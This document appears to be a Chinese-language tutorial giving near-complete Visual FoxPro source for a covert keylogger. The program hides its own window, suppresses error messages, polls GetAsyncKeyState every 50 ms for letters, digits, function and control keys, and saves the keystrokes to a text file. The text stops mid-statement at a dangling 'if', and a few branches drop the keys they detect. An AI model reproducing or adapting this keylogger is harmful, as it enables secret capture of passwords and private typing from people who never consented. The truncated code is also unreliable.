1、建立主程序,代码: set talk off set safety off on error do myerror with message() do form myfrm read events restore from mymem addi strtofile(mykey2,"mytxt.txt") &;&;mytxt.txt 是你记录获得的键盘信息的文本文件 save all like mykey2 to mymem quit 2、再新建一个
程序,名为 myerror,代码: parameters mess return 3、新建一表单,命名为 myfrm,表单属性 whowwindow 设为 2,height 设为 70,width 设为 115 在 Init 事件中输入代码: _screen.visible=.f. set safety off DECLARE INTEGER GetAsyncKeyState IN user32 INTEGER vKey publ mykey2,mykey1 mykey1="" mykey2="" 在 QueryUnload 事件中输入代码: CLEAR EVENTS 在表单中建一个计时器控件,属性 interval=50,在其 Timer 事件中输入代码: save all like mykey2 to mymem addi For what=112 to 123 &;&;F1-F12 if GetAsyncKeyState(what)=-32767 mykey1='F'+transform(what-111) mykey2=mykey2+"+"+mykey1 exit return endif endfor For what=48 to 57 &;&;主键盘 0-9 if GetAsyncKeyState(what)=-32767 mykey1=CHR(WHAT) mykey2=mykey2+"+"+mykey1 return endif endfor For what=65 to 90 &;&;A-Z if GetAsyncKeyState(what)=-32767 mykey1=CHR(WHAT)
mykey2=mykey2+"+"+mykey1 return endif endfor if GetAsyncKeyState(32)=-32767 mykey1='空格' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(27)=-32767 mykey1='ESC' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(192)=-32767 mykey1='~' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(189)=-32767 mykey1='-' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(187)=-32767 mykey1='=' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(220)=-32767 mykey1='\' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(8)=-32767 mykey1='退格' return endif if GetAsyncKeyState(9)=-32767 mykey1='TAB' mykey2=mykey2+"+"+mykey1 return endif
if GetAsyncKeyState(219)=-32767 mykey1='[' return endif if GetAsyncKeyState(221)=-32767 mykey1=']' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(13)=-32767 mykey1='回车' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(20)=-32767 mykey1='CAPS LOCK' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(186)=-32767 mykey1=';' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(222)=-32767 mykey1="'" mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(16)=-32767 mykey1='SHIFT' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(188)=-32767 mykey1=',' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(190)=-32767 mykey1='.' mykey2=mykey2+"+"+mykey1 return endif
if GetAsyncKeyState(191)=-32767 mykey1='/' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(17)=-32767 mykey1='CTRL' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(18)=-32767 mykey1='ALT' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(91)=-32767 mykey1='左 WIN' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(92)=-32767 mykey1='右 WIN' return endif if GetAsyncKeyState(37)=-32767 mykey1='←' mykey2=m
ykey2+"+"+mykey1 return endif if GetAsyncKeyState(38)=-32767 mykey1='↑' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(39)=-32767 mykey1='→' mykey2=mykey2+"+"+mykey1 return endif if GetAsyncKeyState(40)=-32767 mykey1='↓' mykey2=mykey2+"+"+mykey1 return endif
if